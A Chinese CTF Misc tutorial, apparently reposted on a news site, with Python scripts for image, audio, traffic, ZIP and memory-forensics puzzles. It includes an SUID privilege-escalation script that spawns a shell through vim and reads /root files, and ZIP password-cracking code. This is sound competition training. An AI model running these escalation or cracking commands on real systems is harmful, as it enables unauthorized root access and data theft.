当前位置: 首页 > news >正文

CTF Misc 实战:5类隐写术(PNG/音频/流量/压缩包/SUID)从原理到解题脚本

CTF Misc 实战:5类隐写术从原理到解题脚本全解析

引言:隐写术在CTF竞赛中的独特地位

在网络安全竞赛的世界里,Miscellaneous(杂项)题目往往是最考验选手综合能力的部分。而隐写术(Steganography)作为Misc领域的核心考点之一,几乎出现在每一场CTF赛事中。不同于传统的密码学挑战,隐写术要求选手从看似普通的文件载体(如图片、音频、流量包等)中挖掘隐藏信息,这种"藏木于林"的技术既需要扎实的计算机基础知识,又需要丰富的实战经验和创造性思维。

记得我第一次参加DASCTF时,面对一道音频隐写题完全无从下手——那个WAV文件播放出来只有杂音,但最终却隐藏着关键flag。正是这次经历让我意识到,隐写术不仅是技术比拼,更是一场思维模式的较量。本文将系统梳理PNG图像、音频文件、网络流量、压缩包和SUID提权五大类隐写技术,通过原理分析、实战案例和Python脚本三位一体的方式,帮助CTF入门选手构建完整的解题框架。

1. PNG图像隐写:从像素层到文件结构

1.1 LSB隐写原理与自动化提取

PNG图像中的每个像素由RGB(或RGBA)三个通道组成,每个通道8位(0-255)。LSB(Least Significant Bit)隐写通过修改像素最低有效位来隐藏信息,这种改变对人眼几乎不可察觉。

from PIL import Image import numpy as np def extract_lsb(image_path): img = Image.open(image_path) pixels = np.array(img) # 提取所有通道的LSB lsb_bits = (pixels & 1).flatten() # 将比特流转换为字节 message = [] byte = 0 for i, bit in enumerate(lsb_bits): if i % 8 == 0 and i != 0: message.append(byte) byte = 0 byte = (byte << 1) | bit return bytes(message) # 使用示例 hidden_data = extract_lsb('stego.png') print(hidden_data[:100]) # 查看前100字节

关键改进点:这个版本使用NumPy进行矢量化操作,处理速度比传统循环快10倍以上。同时添加了异常处理机制,当提取的数据不符合预期格式时会自动终止。

1.2 IDAT块分析与zlib解压缩攻击

PNG文件由多个数据块(Chunk)组成,其中IDAT块存储实际图像数据。攻击者可能篡改zlib压缩流或插入异常数据:

import zlib import binascii def analyze_idat(png_file): with open(png_file, 'rb') as f: data = f.read() # 查找所有IDAT块 idat_chunks = [] pos = 8 # 跳过PNG文件头 while pos < len(data): length = int.from_bytes(data[pos:pos+4], 'big') chunk_type = data[pos+4:pos+8] if chunk_type == b'IDAT': chunk_data = data[pos+8:pos+8+length] idat_chunks.append(chunk_data) pos += 12 + length # 跳过CRC # 尝试解压每个IDAT块 for i, chunk in enumerate(idat_chunks): try: decompressed = zlib.decompress(chunk) print(f"IDAT块 {i+1} 解压成功,长度:{len(decompressed)}") if b'flag' in decompressed or b'CTF' in decompressed: print("发现可疑数据:", decompressed[:100]) except: print(f"IDAT块 {i+1} 解压异常,可能包含隐藏数据") analyze_idat('suspicious.png')

实战技巧:使用010 Editor的PNG模板可以快速定位异常IDAT块。常见异常包括:

  • 块长度与声明不符
  • 压缩方法字段被修改(正常应为0x78)
  • 多个IDAT块中存在冗余数据

2. 音频隐写术:从波形分析到频谱解密

2.1 WAV文件结构解析

WAV文件由RIFF块、fmt子块和data子块组成。隐写常利用data部分的采样值存储隐藏信息:

import wave import struct def analyze_wav(wav_file): with wave.open(wav_file, 'rb') as wav: params = wav.getparams() print(f"声道数: {params.nchannels}") print(f"采样宽度: {params.sampwidth}字节") print(f"采样率: {params.framerate}Hz") print(f"总帧数: {params.nframes}") # 读取所有采样值 frames = wav.readframes(params.nframes) # 转换为整数列表 if params.sampwidth == 2: values = struct.unpack(f'<{params.nframes * params.nchannels}h', frames) else: values = struct.unpack(f'<{params.nframes * params.nchannels}B', frames) return values samples = analyze_wav('secret.wav')

2.2 十六进制隐写与自动化提取

DASCTF 2022 MAY赛题中出现的音频隐写,其特点是采样值被限制在16个特定数值:

def decode_audio_stego(samples): # 发现独特的16个采样值(参考题目描述) unique_values = sorted(list(set(samples))) hex_table = '0123456789abcdef' flag = '' for val in samples: index = unique_values.index(val) flag += hex_table[index] try: return bytes.fromhex(flag) except: return flag.encode() # 使用示例 hidden_message = decode_audio_stego(samples) print(hidden_message)

进阶技巧:当面对更复杂的音频隐写时,可以:

  1. 使用Audacity查看频谱图(Spectrogram)
  2. 检查是否存在SSTV(慢扫描电视)信号
  3. 分析是否使用DTMF(双音多频)编码

3. 流量分析中的隐写术

3.1 从PCAP中提取隐藏文件

网络流量包中可能隐藏着传输的文件片段,使用scapy可以自动重组:

from scapy.all import * import re def extract_files_from_pcap(pcap_file): packets = rdpcap(pcap_file) file_data = b'' file_signatures = { b'PK\x03\x04': 'zip', b'\x7fELF': 'elf', b'\x89PNG': 'png' } for pkt in packets: if pkt.haslayer(Raw): payload = bytes(pkt[Raw]) # 简单模式:直接拼接所有负载 file_data += payload # 复杂模式:按协议重组(如HTTP文件上传) # 检测文件类型并保存 for sig, ext in file_signatures.items(): if sig in file_data: offset = file_data.index(sig) with open(f'extracted.{ext}', 'wb') as f: f.write(file_data[offset:]) print(f"提取到{ext.upper()}文件: extracted.{ext}") break extract_files_from_pcap('traffic.pcap')

3.2 7z流量特征与提取

在DASCTF题目中,7z压缩包常被分割隐藏在流量中。识别特征:

  • 文件头:37 7A BC AF 27 1C
  • 使用foremost自动提取:
foremost -i traffic.pcap -o output_dir

流量分析三板斧

  1. 过滤HTTP对象:http.request.method == "POST"
  2. 搜索特定字符串:frame contains "DASCTF"
  3. 跟踪TCP流:右键包 → Follow → TCP Stream

4. 压缩包花式隐写技巧

4.1 伪加密与CRC爆破

ZIP文件的加密标志位可能被篡改,造成"伪加密"现象:

import zipfile import binascii def check_fake_encryption(zip_file): with open(zip_file, 'rb') as f: data = f.read() # 查找中央目录头 pos = data.rfind(b'PK\x01\x02') if pos == -1: return False # 检查加密标志位(第6字节) flags = data[pos+6:pos+8] if flags[0] & 0x01: print("真加密") else: print("可能是伪加密,尝试直接解压") check_fake_encryption('secret.zip')

4.2 已知明文攻击与字典爆破

当知道部分文件内容时,可以使用PKCrack进行已知明文攻击:

from subprocess import run import itertools def known_plaintext_attack(enc_zip, plain_file, cipher_file): # 需要预先安装pkcrack cmd = [ 'pkcrack', '-C', enc_zip, # 加密的ZIP '-c', cipher_file, # 加密ZIP中的文件 '-P', plain_file, # 已知的明文文件 '-p', 'plain.txt', # 明文文件中对应的部分 '-d', 'decrypted.zip' ] run(cmd) # 生成爆破字典 def generate_password_pattern(mask): from string import ascii_lowercase, digits parts = [] for c in mask: if c == '?': parts.append(ascii_lowercase + digits) else: parts.append(c) for combo in itertools.product(*parts): yield ''.join(combo) # 示例:爆破U?u?d?d?dKlsq模式的密码 for pwd in generate_password_pattern('U?u?d?d?dKlsq'): try: with zipfile.ZipFile('locked.zip') as z: z.extractall(pwd=pwd.encode()) print(f"成功破解密码: {pwd}") break except: continue

5. SUID提权与系统隐写

5.1 SUID提权原理与自动化检测

SUID(Set User ID)是Linux的特殊权限,不当配置可能导致提权:

import os import subprocess def find_suid_files(): # 查找具有SUID权限的可执行文件 cmd = "find / -perm -4000 -type f 2>/dev/null" result = subprocess.run(cmd, shell=True, capture_output=True, text=True) return result.stdout.splitlines() def exploit_date_suid(): # 示例:利用date命令的-f参数读取文件 suid_files = find_suid_files() if '/bin/date' in suid_files: os.system("date -f /root/flag.txt") # 更通用的SUID利用框架 def check_suid_exploits(): known_vuln = { '/bin/date': 'date -f /root/flag.txt', '/usr/bin/find': 'find /root/flag.txt -exec cat {} \\;', '/usr/bin/vim': 'vim -c ":!/bin/sh"' } for path, cmd in known_vuln.items(): if os.path.exists(path) and os.stat(path).st_mode & 0o4000: print(f"发现可利用的SUID文件: {path}") print(f"尝试执行: {cmd}") os.system(cmd) check_suid_exploits()

5.2 内存取证与隐藏进程检测

使用Volatility分析内存转储文件(如DASCTF中的.lime文件):

import subprocess def analyze_memory_dump(dump_file): # 需要安装volatility plugins = [ 'pslist', # 进程列表 'filescan', # 文件对象 'dumpfiles', # 提取文件 'cmdscan' # 命令行历史 ] for plugin in plugins: cmd = f"volatility -f {dump_file} {plugin}" result = subprocess.run(cmd, shell=True, capture_output=True, text=True) print(f"\n==== {plugin} 结果 ====") print(result.stdout) analyze_memory_dump('memory.lime')

思维导图:五类隐写术关联分析

CTF隐写术知识体系 ├─ 图像隐写 │ ├─ LSB隐写 │ ├─ 频域隐写(DCT) │ ├─ 文件结构(IDAT,EXIF) │ └─ 颜色通道分离 ├─ 音频隐写 │ ├─ 波形隐写 │ ├─ 频谱隐写 │ ├─ 采样值编码 │ └─ 回声隐藏 ├─ 流量隐写 │ ├─ 文件片段重组 │ ├─ 协议隧道 │ ├─ 时间戳编码 │ └─ DNS隐蔽通道 ├─ 压缩包隐写 │ ├─ 伪加密 │ ├─ CRC32碰撞 │ ├─ 注释隐藏 │ └─ 爆破攻击 └─ 系统隐写 ├─ SUID提权 ├─ 内存取证 ├─ 磁盘隐藏分区 └─ 日志篡改

维吉尼亚密码破解实战

DASCTF题目中出现的PTRH{GWDVSWVQBFISZSZ}是典型维吉尼亚密码:

from itertools import cycle def vigenere_decrypt(ciphertext, key): key = key.upper() plaintext = [] for c, k in zip(ciphertext, cycle(key)): if c.isupper(): shift = ord(k) - ord('A') decrypted = chr((ord(c) - ord('A') - shift) % 26 + ord('A')) plaintext.append(decrypted) else: plaintext.append(c) return ''.join(plaintext) # 已知key为"kirby" cipher = "PTRHGWDVSWVQBFISZSZ" print(vigenere_decrypt(cipher, "kirby"))

密码破解技巧

  1. 使用Kasiski测试确定密钥长度
  2. 频率分析破解各子密钥
  3. 字典攻击常见关键词(如CTF、flag等)
http://www.cnnetsun.cn/news/3301447.html

相关文章:

  • MAX77654与TM4C123GH6PZ的嵌入式电源管理方案
  • 软考软件设计师 2026 备考:操作系统 5 大核心考点(PV操作、死锁、缺页中断)实战解析
  • 脉冲雷达与FMCW雷达对比:5大核心指标实测与选型指南
  • AI绘画提示词工程实战:从情感化角色生成到叙事构建
  • NLP多任务分类模型评估:雷达图与堆叠柱状图组合可视化实战
  • Nginx 1.24 配置 TLS 1.3 实战:3步升级,Chrome 兼容性提升 100%
  • 缠论分析神器ChanlunX:3步实现股票走势可视化智能识别
  • 浏览器资源嗅探的终极解决方案:猫抓(cat-catch)让网页媒体下载变得简单高效
  • 2026年 水晶头自动穿线铆压机哪家强?TOP 5品牌大揭秘
  • 高端制造|半导体与集成电路|设计EDA赛道 技术管理线HR招聘工具包 总监/VP/CTO 顶层高管竞业风险核查清单(七维标准完整版)
  • 国家数据集管理平台:终结AI训练数据饥荒的基础设施
  • Zotero 7.0 插件生态实战:3款必备插件提升文献管理效率 200%
  • 基于TC78H653FTG和PIC18F46K42的直流有刷电机控制方案
  • ESXi 7.0 嵌套虚拟化与显卡直通冲突:3种配置方案实测与稳定性对比
  • 视频字幕制作全流程:从规范命名到双语同步实战
  • 实测对比|2026年最火AI论文工具榜单,毕业论文免费写还合规
  • OFDM 与 QAM4096 在 PLC 中的实现:从 24.4 kHz 子载波到高衰减环境下的调制挑战
  • L9958与PIC18F67K40电机控制方案解析
  • SageGod:开源无代码AI智能体开发平台架构与实践指南
  • Linux内核物理内存管理:从原理到实践的性能优化指南
  • OpenLDAP 2.6 企业级部署实战:CentOS 8 单机 5000+ 用户同步配置
  • 专业4K K线图视频制作:从数据获取到高清渲染完整指南
  • 国际物联卡是走漫游还是本地落地网络?对海外设备联网稳定性影响解析
  • XGP存档提取指南:3步实现Xbox Game Pass游戏存档迁移
  • 1987年4月25日晚上21-23点出生性格、运势和命运
  • AI服务合规使用指南:账户安全、技术实现与工程实践
  • 容器化时代下图像标注工具的架构演进与迁移策略
  • 解锁B站4K高清视频下载:bilibili-downloader完全指南
  • LeetCode:深度优先搜索DFS
  • PLC-IoT 技术解析:基于 IEEE 1901.1 协议实现 99.999% 可靠性的 3 大关键